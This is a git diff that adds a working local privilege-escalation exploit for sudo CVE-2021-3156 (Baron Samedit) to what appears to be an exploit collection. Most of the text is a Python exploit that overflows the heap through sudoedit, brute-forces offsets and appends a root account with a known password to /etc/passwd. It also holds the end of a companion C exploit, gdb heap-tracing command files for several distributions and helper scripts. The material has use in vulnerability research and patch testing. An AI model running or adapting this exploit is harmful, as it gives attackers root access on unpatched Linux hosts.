"BACKUP_FILE " " PASSWD_FILE ";rm -rf " WORKING_DIR "\" - gg "); + unlink(BACKUP_FILE); + + printf("now can use \"su - gg\" with 'gg' password to become root\n"); + + return 0; +} diff --git a/cve/sudo/2021/CVE-2021-3156/exploit_userspec.py b/cve/sudo/2021/CVE-2021-3156/exploit_userspec.py new file mode 100644 index 00000000..af2e15ad --- /dev/null +++ b/cve/sudo/2021/CVE-2021-3156/exploit_userspec.py @@ -0,0 +1,736 @@ +#!/usr/bin/python +''' +Exploit for CVE-2021-3156 with struct userspec overwrite by sleepya + +This exploit requires: +- glibc without tcache +- sudo version 1.8.9-1.8.23 (inclusive) +- patient (and luck). Bruteforcing might take time (almost instant to >10 mins) + +Note: Disable ASLR before running the exploit if you don't want to wait for bruteforcing + +Without glibc tcache, a heap layout rarely contains hole. +The heap overflow vulnerability is triggered after parsing /etc/sudoers. +The parsing process always leaves a large hole before parsed data (struct defaults, struct userspec). + +Tested on: +- CentOS 7 (1.8.23) +- Ubuntu 16.04.1 +- Debian 9 +- Fedora 25 + +sudo version related info: +v1.8.9 +- change tq_pop to tailq_list +v1.8.11 +- move fatal callbacks to util. so cleanup is called correctly +v1.8.19 +- add line, file to userspec (chunk size 0x50) +v1.8.20 +- add timeout to cmndspec +- add notbefore and notafter to cmndspec +v1.8.21 +- move timeout in cmndspec to avoid padding (layout is changed) +v1.8.23 +- add comments to userspec struct (chunk size 0x60) +- add ldap field in privileges chunk +v1.8.24 +- add free_userpsecs() and free_defaults() with TAILQ_FIRST/TAILQ_REMOVE +''' +import os +import subprocess +import sys +import resource +import select +import signal +from struct import pack, unpack +from ctypes import cdll, c_char_p, POINTER + +SUDO_PATH = b"/usr/bin/sudo" # can be used in execve by passing argv[0] as "sudoedit" + +TEE_PATH = b"/usr/bin/tee" +PASSWD_PATH = b'/etc/passwd' +APPEND_CONTENT = b"gg:$5$a$gemgwVPxLx/tdtByhncd4joKlMRYQ3IVwdoBXPACCL2:0:0:gg:/root:/bin/bash\n"; + +DEBUG = False + +# fake defaults object for finding offsets +# expect VSYSCALL permission is "r-x" on old Linux kernel +VSYSCALL_ADDR = 0xffffffffff600000 +defaults_test_obj = [ + b"\\", b"\\", b"\\", b"\\", b"\\", b"\\", b"\\", b"\\", # defaults.next + b"A"*8 + pack(" 0x10: + curr_size = (size_min + size_max) // 2 + curr_size &= 0xfff0 + print("\ncurr size: 0x%x" % curr_size) + argv[-2] = b"A"*(curr_size-0x10-len(PASSWD_PATH)-1)+b'\\' + exit_code, err = spawn(SUDO_PATH, argv, env) + print("\nexit code: %d" % exit_code) + print(err) + if exit_code == 256 and has_askpass(err): + # need pass. no crash. + # fit or almost fit + if found_size: + found_size = curr_size + break + # maybe almost fit. try again + found_size = curr_size + size_min = curr_size + size_max = curr_size + 0x20 + elif exit_code == 11: + # segfault. too big + if found_size: + break + size_max = curr_size + else: + # heap corruption. too small + size_min = curr_size + + if found_size: + return found_size + assert size_min == 0x2000 - 0x10 + print('has 2 holes. very big one is bad') + + size_min, size_max = 0xc00, 0x2000 + for step in (0x400, 0x100, 0x40, 0x10): + found = False + env[0] = b'A'*(7+0x4010+0x110-1+step+0x100) + for curr_size in range(size_min, size_max, step): + argv[-2] = b"A"*(curr_size-0x10)+b'\\' + exit_code, err = spawn(SUDO_PATH, argv, env) + print("\ncurr size: 0x%x" % curr_size) + print("\nexit code: %d" % exit_code) + print(err) + if exit_code in (7, 11): + size_min = curr_size + found = True + elif found: + print("\nsize_min: 0x%x" % size_min) + break + assert found, "Cannot find cmnd size" + size_max = size_min + step + + # TODO: verify + return size_min + +def find_defaults_chunk(argv, env_prefix): + offset = 0 + pos = len(env_prefix) - 1 + env = env_prefix[:] + env.extend([ b"LC_ALL=C", b"TZ=:", None ]) + # overflow until sudo crash without asking pass + # crash because of defaults.entries.next is overwritten + while True: + env[pos] += b'A'*0x10 + exit_code, err = spawn(SUDO_PATH, argv, env) + # 7 bus error, 11 segfault + if exit_code in (7, 11) and not has_askpass(err): + # found it + env[pos] = env[pos][:-0x10] + break + offset += 0x10 + + # new env_prefix + env_prefix = env[:-3] + + # tmp env_prefix for if it is defaults + env_prefix_def = env_prefix[:] + env_prefix_def[-1] += b'\x41\\' + env_prefix_def.extend([ b'\\', b'\\', b'\\', b'\\', b'\\', b'\\' ]) + env_prefix_def.extend(defaults_test_obj) + + # verify if it is defaults + env = env_prefix_def[:] + env[-1] = env[-1][:-1] # remove 1 character. no overwrite next chunk with \x00 + env.extend([ b"LC_ALL=C", b"TZ=:", None ]) + + exit_code, err = spawn(SUDO_PATH, argv, env) + # old sudo verion has no cleanup if authen fail. exit code is 256. + if has_askpass(err): + assert exit_code in (256, 11) + #if exit_code == 256: no_cleanup = True # old sudo version. no freeing if auth fails + # it is defaults + return True, offset, env_prefix_def + + # no defaults, this one is likely struct member. + # reset offset. very rare case. + env_prefix[-1] = env_prefix[-1][:-offset] + return False, 0, env_prefix + +def find_member_chunk(argv, env_prefix): + # expect username ("root") chunk size 0x20 then follow by struct member + offset = 0 + pos = len(env_prefix) - 1 + env = env_prefix[:] + env[-1] = env[-1][:-1] + env.extend([ b"LC_ALL=C", b"TZ=:", None ]) + found_heap_corruption = False + past_member = False + while True: + exit_code, err = spawn(SUDO_PATH, argv, env) + if not has_askpass(err) or (found_heap_corruption and exit_code == 11): + assert offset > 0 + env[pos] = env[pos][:-0x10] + offset -= 0x10 + print('decrease offset to: 0x%x' % offset) + past_member = True + continue + if past_member: + break # found it + if exit_code == 6: + if found_heap_corruption: + break + found_heap_corruption = True + env[pos] += b'A'*0x30 + offset += 0x30 + print('offset member: 0x%x' % offset) + return offset + +def find_first_userspec_chunk(argv, env_prefix): + offset_member = find_member_chunk(argv, env_prefix) + + # after user member chunk, can safely skip 0x120 because of host, cmnd, cmndspec, privileges + SKIP_FIND_USERSPEC_SIZE = 0x120 + offset_pre = offset_member + SKIP_FIND_USERSPEC_SIZE + + pos = len(env_prefix) - 1 + env = env_prefix[:] + env[-1] += b'A'*offset_pre + b'A'*7 + b'\\' # append chunk metadata + tmp_env = env[-1] + env.extend([ + b"\\", b"\\", b"\\", b"\\", b"\\", b"\\", b"\\", b"\\", # next + b"A"*8 + # prev + b"\\", b"\\", b"\\", b"\\", b"\\", b"\\", b"\\", b"\\", # users.first + b"A"*8 + # users.last + b"\\", b"\\", b"\\", b"\\", b"\\", b"\\", b"\\", b"", # privileges.first + b"LC_ALL=C", b"TZ=:", None + ]) + + offset = _brute_userspec_offset(argv, env, pos, 0x100) + if offset is None: + offset = _find_single_userspec_chunk(argv, env_prefix, offset_member) + single_userspec = True + else: + offset += offset_pre + single_userspec = False + + env_prefix[-1] += b'A'*offset + return offset, env_prefix, single_userspec + +def _brute_userspec_offset(argv, env, pos, max_offset): + offset = None + for i in range(0, max_offset, 0x10): + exit_code, err = spawn(SUDO_PATH, argv, env) + #print("0x%x, exit: %d" % (i, exit_code)) + #print(err) + if has_askpass(err): + # found. 256 for ver <= 1.8.10 (no cleanup callback. no crash) + assert exit_code in (6, 7, 11, 256), "unexpect exit code: %d" % exit_code + offset = i + if exit_code == 6: + break + else: + assert exit_code == 11, 'expect segfault. got exit_code: %d' % exit_code + if offset is not None: + break + + env[pos] = env[pos][:-1] + b'A'*0x10 + b'\\' + + return offset; + +def _find_single_userspec_chunk(argv, env_prefix, offset_member=-1): + if offset_member == -1: + offset_member = find_member_chunk(argv, env_prefix) + + # finding offset of only one userspec needs bruteforcing a bit + # we need entires.prev pointing to a valid address that contains NULL pointer. + # search valid userspec by partial overwritten entries.prev + # Note: this offset search method is very bad if ASLR is disabled (likely to fail) + # For quick testing: run this exploit with ASLR enabled for getting offset. + # Then, disable ASLR and rerun exploit with offset arguments + print('cannot find a userspec. assume only 1 userspec (1 rule in sudoers).') + SKIP_FIND_USERSPEC_SIZE = 0x160 + offset_pre = offset_member + SKIP_FIND_USERSPEC_SIZE + + pos = len(env_prefix) - 1 + env = env_prefix[:] + env[-1] += b'A'*offset_pre + b'A'*7 + b'\\' # append chunk metadata + tmp_env = env[-1] + env.extend([ + b"\\", b"\\", b"\\", b"\\", b"\\", b"\\", b"\\", b"\\", # next + b"", b"", + b"LC_ALL=C", b"TZ=:", None + ]) + + # first, attempt with NULL least significant byte of prev + offset = _brute_userspec_offset(argv, env, pos, 0xc0) + # then, attempt with NULL 2nd least significant byte and bruteforcing least siginificat byte + # normally, valid offset should be found in 1 round + # if ASLR is disabed, 2nd round is useless because addresses are same as first round. + for _ in range(2): + if offset is not None: + break + + for val in range(0, 0x100, 0x8): + env[-5] = "\\" if val == 0 else pack('= 9, "too old sudo. this exploit method is unlikely (only exploitable with rare /etc/sudoer). not implement" + if sudo_vers[2] > 23: + # overwrite only string of first member + print("Warning: Only work if you known current user's password and no defaults. not implement") + exit(0) + return sudo_vers[2] + +def create_env(offset_defaults, offset_first_userspec, offset_userspec): + # offset_userspec + # - 0 if only first userspec is enough + # - -1 if only single userspec + with open('/proc/sys/kernel/randomize_va_space') as f: has_aslr = int(f.read()) != 0 + if has_aslr: + STACK_ADDR_PAGE = 0x7fffe5d35000 + else: + STACK_ADDR_PAGE = 0x7fffffff1000 # for ASLR disabled + + SA = STACK_ADDR_PAGE + + ADDR_REFSTR = pack('var chunk (get freed) + b'\x21', b'', b'', b'', b'', b'', b'', + ADDR_PRIV[:6], b'', # pointer to privilege + ADDR_CMND[:6], b'', # pointer to cmndspec + ADDR_MEMBER[:6], b'', # pointer to member + + # fake def->binding (list head) (get freed) + b'\x21', b'', b'', b'', b'', b'', b'', + b'', b'', b'', b'', b'', b'', b'', b'', # members.first + ADDR_USER[:6], b'', # members.last (unused, so use it for single userspec case) + b'A'*0x8 + # pad + + # member chunk + b'\x31', b'', b'', b'', b'', b'', b'', # chunk size + b'A'*8 + # member.tqe_next (can be any) + ADDR_MEMBER_PREV[:6], b'', # member.tqe_prev + b'A'*8 + # member.name (can be any because this object is not freed) + pack('= 0x50: + env[-1] += b'A'*8 + ADDR_REFSTR[:6] + b'\\' + env.append(b'\\') + env.append(b'A'*8 + b'\x21\\') # padding, chunk size + else: + env[-1] += b'A'*8 + b'\x21\\' # padding, chunk size + env.extend([ + b'\\', b'\\', b'\\', b'\\', b'\\', b'\\', # need valid chunk metadata + b'A'*(offset_userspec-userspec_chunk_size-8+8-1)+b'\\' + ]) + + env.extend([ + # userspec chunk + # for single userspec, sudo might pass checking and cause heap corruption when freeing + # stack memory (with all zero). this case is slower than other cases. + # for >=2 userspecs, this chunk is not used because list is iterated with head->last->prev->next + ADDR_USER[:6]+b'\\', b'\\', # entries.tqe_next + ADDR_USER_PREV[:6]+b'\\', b'\\', # entries.tqe_prev + b'\\', b'\\', b'\\', b'\\', b'\\', b'\\', b'\\', b'\\', # users.tqh_first + #ADDR_MEMBER[:6]+b'\\', b'\\', # users.tqh_last + b'A'*8 + # users.tqh_last + b'\\', b'\\', b'\\', b'\\', b'\\', b'\\', b'\\', b'', # privileges.tqh_first + b"LC_ALL=C", + b"SUDO_EDITOR="+TEE_PATH+b" -a", # append stdin to /etc/passwd + b"TZ=:", + ]) + + # fill spray data + cnt = sum(map(len, epage)) + padlen = 4096 - cnt - len(epage) + epage.append(b'P'*(padlen-1)) + + ENV_STACK_SIZE_MB = 4 + for i in range(ENV_STACK_SIZE_MB * 1024 // 4): + env.extend(epage) + + # reserve space in last element for '/usr/bin/sudo' and padding + env[-1] = env[-1][:-14-8] + env.append(None) + + return env + +def run_until_success(argv, env): + cargv = (c_char_p * len(argv))(*argv) + cenvp = (c_char_p * len(env))(*env) + + r, w = os.pipe() + os.dup2(r, 0) + w = os.fdopen(w, 'wb') + w.write(APPEND_CONTENT) + w.close() + + null_fd = os.open('/dev/null', os.O_RDWR) + os.dup2(null_fd, 2) + + for i in range(65536): + sys.stdout.write('%d\r' % i) + if i % 8 == 0: + sys.stdout.flush() + exit_code = spawn_raw(SUDO_PATH, cargv, cenvp) + if exit_code == 0: + print("success at %d" % i) + break + if exit_code not in (6, 7, 11): + print("invalid offset. exit code: %d" % exit_code) + break + +def main(): + cmnd_size = int(sys.argv[1], 0) if len(sys.argv) > 1 else None + # -1 if no defaults + offset_defaults = int(sys.argv[2], 0) if len(sys.argv) > 2 else None + offset_first_userspec = int(sys.argv[3], 0) if len(sys.argv) > 3 else None + # offset_userspec is -1 if single userspec (only 1 rule in sudoers) + offset_userspec = int(sys.argv[4], 0) if len(sys.argv) > 4 else None + + if cmnd_size is None: + cmnd_size = find_cmnd_size() + print("found cmnd size: 0x%x" % cmnd_size) + + argv = [ b"sudoedit", b"-A", b"-s", PASSWD_PATH, b"A"*(cmnd_size-0x10-len(PASSWD_PATH)-1)+b"\\", None ] + + env_prefix = [ b'A'*(7+0x4010+0x110) ] + + if offset_defaults is None: + offset_defaults = -1 + found_defaults, offset, env_prefix = find_defaults_chunk(argv, env_prefix) + if found_defaults: + offset_defaults = offset + print('found defaults, offset: 0x%x' % offset_defaults) + else: + print('no defaults in /etc/sudoers') + offset_defaults = -1 + elif offset_defaults != -1: + env_prefix[-1] += b'A'*offset_defaults+b'\x41\\' + env_prefix.extend([ b'\\', b'\\', b'\\', b'\\', b'\\', b'\\' ]) + env_prefix.extend(defaults_test_obj) + + # first userspec offset MUST be known for cleaning up without a crash + if offset_first_userspec is None: + if has_fatal_cleanup: + offset, env_prefix, single_userspec = find_first_userspec_chunk(argv, env_prefix) + offset_first_userspec = offset + print("\noffset to first userspec: 0x%x" % offset_first_userspec) + if single_userspec: + print("single userspec mode") + offset_userspec = 0 + else: + offset_first_userspec = 0 + else: + env_prefix[-1] += b'A'*(offset_first_userspec) + + if offset_userspec is None: + offset_userspec = find_target_userspec_chunk(argv, env_prefix) + + print('') + print("cmnd size: 0x%x" % cmnd_size) + offset_defaults_txt = -1 if offset_defaults == -1 else "0x%x" % offset_defaults + print("offset to defaults: %s" % offset_defaults_txt) + print("offset to first userspec: 0x%x" % offset_first_userspec) + offset_userspec_txt = -1 if offset_userspec == -1 else "0x%x" % offset_userspec + print("offset to userspec: %s" % offset_userspec_txt) + print("\nto skip finding offsets next time no this machine, run: ") + print("%s 0x%x %s 0x%x %s" % (sys.argv[0], cmnd_size, offset_defaults_txt, offset_first_userspec, offset_userspec_txt)) + + if offset_first_userspec == 0: + if not has_fatal_cleanup: + print("\nTarget sudo has bug. No idea to find first userspec.") + print("So the exploit will fail if a running user is in sudoers and not in first two rules.") + # swap value to use only first userspec + offset_first_userspec, offset_userspec = offset_userspec, offset_first_userspec + + env = create_env(offset_defaults, offset_first_userspec, offset_userspec) + run_until_success(argv, env) + +if __name__ == "__main__": + # global intialization + sudo_ver = check_sudo_version() + + DEFAULTS_CMND = 269 + if sudo_ver >= 15: + MATCH_ALL = 284 + elif sudo_ver >= 13: + MATCH_ALL = 282 + elif sudo_ver >= 7: + MATCH_ALL = 280 + elif sudo_ver < 7: + MATCH_ALL = 279 + DEFAULTS_CMND = 268 + + has_fatal_cleanup = sudo_ver >= 11 + has_file = sudo_ver >= 19 # has defaults.file pointer + + has_ldap = sudo_ver >= 23 + if sudo_ver < 19: + userspec_chunk_size = 0x40 + elif sudo_ver < 23: + userspec_chunk_size = 0x50 + else: + userspec_chunk_size = 0x60 + + main() diff --git a/cve/sudo/2021/CVE-2021-3156/gdb/cmds_cent7 b/cve/sudo/2021/CVE-2021-3156/gdb/cmds_cent7 new file mode 100644 index 00000000..ffe22ebb --- /dev/null +++ b/cve/sudo/2021/CVE-2021-3156/gdb/cmds_cent7 @@ -0,0 +1,79 @@ +set breakpoint pending on +set disassembly-flavor intel +set print pretty on +set print asm-demangle on +# disable paging +set height 0 +set width 0 +set pagination off +set $outside = 1 +# open file. on old system might be open syscall +catch syscall openat +commands + set $outside = ! $outside + if ($outside) + i r $rax + else + bt 4 + end + continue +end +# malloc +break __libc_malloc +commands + bt + continue +end +# malloc result. return value from _int_malloc +break malloc.c:2908 +commands + i r $rax + continue +end +# free +break __GI___libc_free +commands + bt + if $rdi != 0 + x/4s $rdi + end + continue +end +# realloc(NULL, size) called malloc directly +break __GI___libc_realloc if $rdi != 0 +commands + bt + #x/4s $rdi + continue +end +# realloc return +#break *(__GI___libc_realloc+466) from _int_realloc +break malloc.c:3045 +commands + i r $r15 + continue +end +# nss_load_library +break nss_load_library +commands + continue +end +# calloc +break __libc_calloc +commands + bt + continue +end +# calloc return value (real return is malloc.c:3523 r8) +# return from _int_malloc() +break malloc.c:3247 +commands + i r $rax + continue +end +#run +continue +bt +info proc mappings +quit + diff --git a/cve/sudo/2021/CVE-2021-3156/gdb/cmds_cent8 b/cve/sudo/2021/CVE-2021-3156/gdb/cmds_cent8 new file mode 100644 index 00000000..ad3e1b8b --- /dev/null +++ b/cve/sudo/2021/CVE-2021-3156/gdb/cmds_cent8 @@ -0,0 +1,76 @@ +set breakpoint pending on +set disassembly-flavor intel +set print pretty on +set print asm-demangle on +# disable paging +set height 0 +set width 0 +set pagination off +set $outside = 1 +catch syscall openat +commands + set $outside = ! $outside + if ($outside) + i r $rax + else + bt 4 + end + continue +end +break __libc_malloc +commands + bt + continue +end +# malloc return +break *(__GI___libc_malloc+193) +commands + i r $rdx + continue +end +# free +break __libc_free +commands + bt + if $rdi != 0 + x/4s $rdi + end + continue +end +# realloc(NULL, size) called malloc directly +break __libc_realloc if $rdi != 0 +commands + bt + x/4s $rdi + continue +end +# realloc return (from _int_realloc) +break malloc.c:3230 +commands + i r $rax + continue +end +# nss_load_library +break nss_load_library +commands + continue +end +# calloc +break __libc_calloc +commands + bt + continue +end +# calloc return value (real return is malloc.c:3523 r8) +# return from _int_malloc() +break malloc.c:3446 +commands + i r $rax + continue +end +#run +continue +bt +info proc mappings +quit + diff --git a/cve/sudo/2021/CVE-2021-3156/gdb/cmds_deb10 b/cve/sudo/2021/CVE-2021-3156/gdb/cmds_deb10 new file mode 100644 index 00000000..c318df65 --- /dev/null +++ b/cve/sudo/2021/CVE-2021-3156/gdb/cmds_deb10 @@ -0,0 +1,63 @@ +set breakpoint pending on +set disassembly-flavor intel +set print pretty on +set print asm-demangle on +# disable paging +set height 0 +set width 0 +set pagination off +set $outside = 1 +catch syscall openat +commands + set $outside = ! $outside + if ($outside) + i r $rax + else + bt 4 + end + continue +end +# malloc +break __libc_malloc +commands + bt + continue +end +# malloc return +break malloc.c:2937 +commands + i r $rdx + continue +end +# free +break __libc_free +commands + bt + if $rdi != 0 + x/4s $rdi + end + continue +end +# realloc(NULL, size) called malloc directly +break __libc_realloc if $rdi != 0 +commands + bt + x/4s $rdi + continue +end +# realloc return +break malloc.c:3194 +commands + i r $r13 + continue +end +break nss_load_library +commands + continue +end +#run +continue +bt +info proc mappings +quit + diff --git a/cve/sudo/2021/CVE-2021-3156/gdb/cmds_deb9 b/cve/sudo/2021/CVE-2021-3156/gdb/cmds_deb9 new file mode 100644 index 00000000..c86e2a05 --- /dev/null +++ b/cve/sudo/2021/CVE-2021-3156/gdb/cmds_deb9 @@ -0,0 +1,77 @@ +set breakpoint pending on +set disassembly-flavor intel +set print pretty on +set print asm-demangle on +# disable paging +set height 0 +set width 0 +set pagination off +set $outside = 1 +# open file. on old system might be open syscall +catch syscall openat +commands + set $outside = ! $outside + if ($outside) + i r $rax + else + bt 4 + end + continue +end +# malloc +break __libc_malloc +commands + bt + continue +end +# malloc result from _int_malloc +break malloc.c:2931 +commands + i r $rax + continue +end +# free +break __libc_free +commands + bt + if $rdi != 0 + x/4s $rdi + end + continue +end +# realloc(NULL, size) called malloc directly +break __libc_realloc if $rdi != 0 +commands + bt + #x/4s $rdi + continue +end +# realloc result, from _int_realloc +break *(__libc_realloc+345) +commands + i r $rax + continue +end +# nss_load_library +break nss_load_library +commands + continue +end +# calloc +break __libc_calloc +commands + bt + continue +end +# calloc result, return from _int_malloc() +break *(__libc_calloc+635) +commands + i r $rax + continue +end +#run +continue +bt +info proc mappings +quit + diff --git a/cve/sudo/2021/CVE-2021-3156/gdb/cmds_u14 b/cve/sudo/2021/CVE-2021-3156/gdb/cmds_u14 new file mode 100644 index 00000000..f27c4c04 --- /dev/null +++ b/cve/sudo/2021/CVE-2021-3156/gdb/cmds_u14 @@ -0,0 +1,77 @@ +set breakpoint pending on +set disassembly-flavor intel +set print pretty on +set print asm-demangle on +# disable paging +set height 0 +set width 0 +set pagination off +set $outside = 1 +# open file. on old system might be open syscall +catch syscall open +commands + set $outside = ! $outside + if ($outside) + i r $rax + else + bt 4 + end + continue +end +# malloc +break *(__libc_malloc+4) +commands + bt + continue +end +# malloc result from _int_malloc +break malloc.c:2892 +commands + i r $rax + continue +end +# free +break __libc_free +commands + bt + if $rdi != 0 + x/4s $rdi + end + continue +end +# realloc(NULL, size) called malloc directly +break *(__libc_realloc+15) if $rdi != 0 +commands + bt + #x/4s $rdi + continue +end +# realloc result +break malloc.c:3048 +commands + i r $rax + continue +end +# nss_load_library +break nss_load_library +commands + continue +end +# calloc +break __libc_calloc +commands + bt + continue +end +# calloc result, return from _int_malloc() +break malloc.c:3222 +commands + i r $rax + continue +end +#run +continue +bt +info proc mappings +quit + diff --git a/cve/sudo/2021/CVE-2021-3156/gdb/cmds_u16 b/cve/sudo/2021/CVE-2021-3156/gdb/cmds_u16 new file mode 100644 index 00000000..6e0e154b --- /dev/null +++ b/cve/sudo/2021/CVE-2021-3156/gdb/cmds_u16 @@ -0,0 +1,77 @@ +set breakpoint pending on +set confirm off +set disassembly-flavor intel +set print pretty on +set print asm-demangle on +# disable paging +set height 0 +set width 0 +set pagination off +set $outside = 1 +catch syscall open +commands + set $outside = ! $outside + if ($outside) + i r $rax + else + bt 4 + x/s $rdi + end + continue +end +break __libc_malloc +commands + bt + continue +end +# malloc return +break *(__libc_malloc+188) +commands + i r $rdx + continue +end +# free +break __libc_free +commands + bt + if $rdi != 0 + x/4s $rdi + end + continue +end +# realloc(NULL, size) called malloc directly +break __libc_realloc if $rdi != 0 +commands + bt + x/4s $rdi + continue +end +# realloc return +#break malloc.c:3259 +break kill +commands + i r $r13 + continue +end +break nss_load_library +commands + continue +end +# calloc +break __libc_calloc +commands + bt + continue +end +# calloc return +break malloc.c:3246 +commands + i r $rax + continue +end +#run +continue +bt +info proc mappings +quit + diff --git a/cve/sudo/2021/CVE-2021-3156/gdb/cmds_u18 b/cve/sudo/2021/CVE-2021-3156/gdb/cmds_u18 new file mode 100644 index 00000000..89cabf2a --- /dev/null +++ b/cve/sudo/2021/CVE-2021-3156/gdb/cmds_u18 @@ -0,0 +1,77 @@ +set breakpoint pending on +set disassembly-flavor intel +set print pretty on +set print asm-demangle on +# disable paging +set height 0 +set width 0 +set pagination off +set $outside = 1 +# open file. on old system might be open syscall +catch syscall openat +commands + set $outside = ! $outside + if ($outside) + i r $rax + else + bt 4 + end + continue +end +# malloc +break __GI___libc_malloc +commands + bt + continue +end +# malloc return +break malloc.c:3091 +commands + i r $rdx + continue +end +# free +break __GI___libc_free +commands + bt + if $rdi != 0 + x/4s $rdi + end + continue +end +# realloc(NULL, size) called malloc directly +break __GI___libc_realloc if $rdi != 0 +commands + bt + #x/4s $rdi + continue +end +# realloc return +break malloc.c:3259 +commands + i r $r13 + continue +end +# nss_load_library +break nss_load_library +commands + continue +end +# calloc +break __libc_calloc +commands + bt + continue +end +# return from _int_malloc() +break malloc.c:3448 +commands + i r $rax + continue +end +#run +continue +bt +info proc mappings +quit + diff --git a/cve/sudo/2021/CVE-2021-3156/gdb/gdbexp.py b/cve/sudo/2021/CVE-2021-3156/gdb/gdbexp.py new file mode 100644 index 00000000..2fb2fbe4 --- /dev/null +++ b/cve/sudo/2021/CVE-2021-3156/gdb/gdbexp.py @@ -0,0 +1,37 @@ +#!/usr/bin/python3 +''' +Client for tracing patched sudo. Don't forget to start server first before running this. + +Running command: +python gdbexp.py exploit.py +''' +import subprocess +import sys +import time + + +if len(sys.argv) < 2: + print('Usage: %s [args...]' % sys.argv[0]) + exit(1) + +cmd = 'python' +if sys.version_info[0] == 3: + cmd += '3' + +FIFO_PATH = "/tmp/gdbsudo" + +proc = subprocess.Popen([cmd] + sys.argv[1:], stdin=subprocess.PIPE, bufsize=0) +#time.sleep(0.5) + +# send to gdber to start debugging +fifo = open(FIFO_PATH, "w") +fifo.write(str(proc.pid)) +fifo.close() +time.sleep(0.5) + +# trigger enter, resume sudo +proc.stdin.write(b'\n') +proc.stdin.close() # close stdin to exit incase we get shell + +ret = proc.wait() +print('exit code: %d' % ret) diff --git a/cve/sudo/2021/CVE-2021-3156/gdb/gdbroot.py b/cve/sudo/2021/CVE-2021-3156/gdb/gdbroot.py new file mode 100644 index 00000000..f736ecfb --- /dev/null +++ b/cve/sudo/2021/CVE-2021-3156/gdb/gdbroot.py @@ -0,0 +1,31 @@ +#!/usr/bin/python3 +''' +Server for tracing patched sudo. run it with sudo or as root. +Requires 'cmds' file as gdb comamnds in current directory. + +Running command: +python gdbroot.py +''' +import os +import time + +FIFO_PATH = "/tmp/gdbsudo" + +try: + os.unlink(FIFO_PATH) +except: + pass + +os.umask(0) +os.mkfifo(FIFO_PATH, 0o666) + +while True: + fifo = open(FIFO_PATH, "r") + pid = int(fifo.read()) + fifo.close() + cmd = 'gdb -q -p %d < cmds > log 2>&1' % pid + print('\n=== got: %d. sleep 0.5s' % pid) + #time.sleep(0.5) + print(cmd) + os.system(cmd) + print('done') diff --git a/cve/sudo/2021/CVE-2021-3156/gdb/parse.py b/cve/sudo/2021/CVE-2021-3156/gdb/parse.py new file mode 100644 index 00000000..6d1480f8 --- /dev/null +++ b/cve/sudo/2021/CVE-2021-3156/gdb/parse.py @@ -0,0 +1,193 @@ +#!/usr/bin/python3 +''' +For parsing gdb trace log +''' +import re +import sys + +break_pattern = re.compile(r'^\w+\s+(\d+),(.*in)?\s+(\w+)\s+\((.*)\) .+$') + +record = None +records = [] + +def new_catch_record(line): + # now, catch only 1 syscall. get filename + #pos = line.index('"') + 1 + #epos = line.index('"', pos) + #fname = line[pos:epos] + fname = None + return { 'type': 'open', 'file': fname, 'bt': [] } + +def parse_args(txt): + args = [] + for arg_txt in txt.split(', '): + if arg_txt[-1] == '"': + # assume text + args.append(arg_txt[arg_txt.index('"')+1:-1]) + continue + + pos = arg_txt.index('=') + name = arg_txt[:pos] + pos += 1 + # argument name might be name=name@entry= + if name == arg_txt[pos:pos+len(name)]: + pos += len("@entry=") + len(name) + args.append(arg_txt[pos:]) + return args + +def new_breakpoint_record(line): + # malloc, free, realloc, calloc + m = break_pattern.match(line) + bid, _, fn_name, fn_args = m.groups() + if bid == '2' and '__libc_malloc' in fn_name: # malloc + args = parse_args(fn_args) + return { 'type': 'malloc', 'size': int(args[0]), 'result': None, 'bt': [] } + elif bid == '4' and '__libc_free' in fn_name: # free + args = parse_args(fn_args) + return { 'type': 'free', 'mem': int(args[0], 16), 'bt': [] } + elif bid == '5' and '__libc_realloc' in fn_name: # realloc + #if 'realloc_hook_ini' not in line: + args = parse_args(fn_args) + return { 'type': 'realloc', 'mem': int(args[0], 16), 'size': int(args[1]), 'result': None, 'bt': [] } + elif bid == '7' and fn_name == 'nss_load_library': # nss_load_library + args = parse_args(fn_args) + return { 'type': 'nss_load_library', 'addr': int(args[0], 16) } + elif bid == '8' and fn_name == '__libc_calloc': # calloc + args = parse_args(fn_args) + return { 'type': 'calloc', 'n': int(args[0]), 'esize': int(args[1]), 'result': None, 'bt': [] } + + return None + +def update_record_bt(record, line): + addr = None + if line[4:6] == '0x': + addr = int(line[4:22], 16) + pos = 26 + else: + pos = 4 + + epos = line.index(' ', pos) + fn_name = line[pos:epos] + pos = epos+1 + assert line[pos] == '(' + pos += 1 + epos = line.find(') at ') + if epos == -1: + args = None + src = line[4:22] + else: + args = line[pos:epos] + src = line[epos + 5:].rstrip() + record['bt'].append((addr, fn_name, args, src)) + +def update_record_result(record, line): + #assert record['result'] is None + pos = line.index('0x') + epos = line.find('\t', pos) + if epos == -1: + epos = line.index(' ', pos) + record['result'] = int(line[pos:epos], 16) + +# don't go too depth. make it easy to read +# __GI_setlocale +curr_cstack = [] +def print_call_stack(bt): + global curr_cstack + updated = False + pos = 0 + for i, info in enumerate(bt): + addr, fn_name, args, src = info + # 'nss_load_library', + if fn_name in ('__GI_setlocale', 'sudo_conf_read_v1', '__GI___nss_database_lookup', 'nss_parse_service_list', 'nss_new_service', 'get_user_info', 'parse_args', 'sudo_load_plugin', 'format_plugin_settings', 'sudoers_policy_open', 'sudoers_policy_main', 'set_cmnd', 'register_hook'): + pos = i + break + cstack = list(reversed(bt[i:])) + + if len(curr_cstack) == len(cstack): + for old, new in zip(curr_cstack, cstack): + if old[1] != new[1] or old[3] != new[3]: + updated = True + break + else: + updated = True + + if updated: + curr_cstack = cstack + print('') + for info in cstack: + addr, fn_name, args, src = info + if fn_name == '__GI___nss_database_lookup': + args = parse_args(args) + print(f'{fn_name}(db={args[0]}, default="{args[2]}")') + elif fn_name == 'nss_parse_service_list': + pos = args.index('"') + 1 + pos = args.index('"', pos) + pos = args.index('"', pos+10) + 1 + epos = args.index('"', pos) + line = args[pos:epos].strip() + print(f'{fn_name}("{line}")') + else: + print(f'{fn_name} at {src}') + +def analyze_record(record): + if record is None: + return + + if record['type'] == 'open': + return + if record['type'] == 'nss_load_library': + print(f"\nnss_load_library(0x{record['addr']:x})\n") + return + + + print_call_stack(record['bt']) + if record['type'] == 'malloc': + chunk_size = (record['size'] + 8 + 15) & 0xfffffff0 + if chunk_size < 0x20: + chunk_size = 0x20 # min size + if record['result']: + print(f"- malloc(0x{record['size']:x}) => 0x{record['result']:08x} => chunk size: 0x{chunk_size:x}") + else: + print(f"- malloc(0x{record['size']:x}) => chunk size: 0x{chunk_size:x}") + elif record['type'] == 'free': + print(f"- free(0x{record['mem']:08x})") + elif 